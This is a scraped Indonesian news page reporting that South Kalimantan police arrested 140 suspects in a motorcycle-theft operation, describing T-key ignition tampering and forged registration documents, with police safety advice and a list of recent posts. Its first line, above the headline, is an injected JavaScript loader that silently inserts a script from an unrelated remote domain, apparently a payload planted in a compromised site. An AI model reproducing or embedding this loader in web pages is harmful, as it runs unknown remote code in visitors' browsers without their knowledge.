(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Operasi Jaran Intan Polda Kalsel Ringkus 140 Tersangka Curanmor


BANJARMASIN, Sebanyak 140 tersangka diringkus Polda Kalsel selama operasi Jaran Intan yang berlangsung sejak 21 Juni hingga 2 Juli lalu. Tercatat 207 kendaraan roda 2 dan 12 kendaran roda 4 menjadi barang bukti.

Adapun target operasi kali ini meliputi pelaku tindak kejahatan curanmor, kelompok sindikat/jaringan kejahatan terhadap kendaraan bermotor, dan penadah hasil tindak kejahatan curanmor.

Dijelaskan oleh Direktur Reskrimun Polda Kalsel Kombes Sofyan Hidayat saat konferensi pers di Mapolda Kalsel, Kamis (4/7), modus yang dilakukan pelaku adalah dengan cara membongkar atau merusak kunci kontak kendaraan roda dua menggunakan kunci letter “T” dan benda keras lainnya.

Modus lainnya adalah pelaku membeli atau menggadai sepeda motor yang tidak dilengkapi dengan surat atau dokumen yang sah, kemudian dibuatkan STNK dan SKPD yang diduga palsu. “Pelaku membuat dokumen/duplikat untuk ranmor yang diduga hasil kejahatan berupa STNK dengan biaya sekitar 1,5 juta untuk roda dua dan dan 7,5 untuk roda empat,” terang Sofyan.

Pemalsuan STNK ini dilakukan oleh para pelaku dengan cara mengeruk STNK asli tersebut kemudian mengganti data yang ada dengan data yang sesuai dengan kendaraan yang dicuri.

Untuk para pelaku pencurian kendaraan roda dua ini mencuri sepeda motor yang terparkir di halaman masjid saat melaksanakan sholat subuh. Para pelaku ini ada yang melakukan aksinya secara bersindikat ataupun per orangan.

Jika dibandingkan dengan operasi Jaran Intan tahun 2018 lalu, operasi tahun ini terjadi kenaikan jumlah tersangka. Tahun lalu tersangka yang terjaring operasi berjumlah 115 orang. Untuk barang bukti, tercatat 191 roda dua dan 22 roda empat.

Kapolda Kalsel, Irjen Pol Yazid Fanani, mengatakan bahwa modus operandi kunci letter “T” ini merupakan modus yang baru. Sehingga masyarakat harus lebih berhati hati. “Juga saat beli kendaraan, cek surat kendaran. Apakah asli atau dipalsukan,” tutur pria lulusan Akpol 1988 ini.

ia pun menghimbau agar masyarakat lebih waspada saat memarkir kendaraan dan memilih tempat parkir yang aman. Serta kendaraan dalam kondisi yang terkunci. Jika memungkinkan, ia berharap pula agar masyarakat memambahkan kunci tambahan pada kendaraan bermotornya.

“Untuk masyarakat yang merasa kendaraannya hilang, boleh cek dan bawa surat dan dokumen untuk diperiksa di Polres dan di Polresta/Polres jajara. Apabila ada, dapat dapat diambil dengan membawa surat menyurat kendaraan bermotor tanpa dipungut biaya apapun,” tutup Yazid.(mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

9 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

10 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

10 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

10 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

11 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

14 jam ago

This website uses cookies.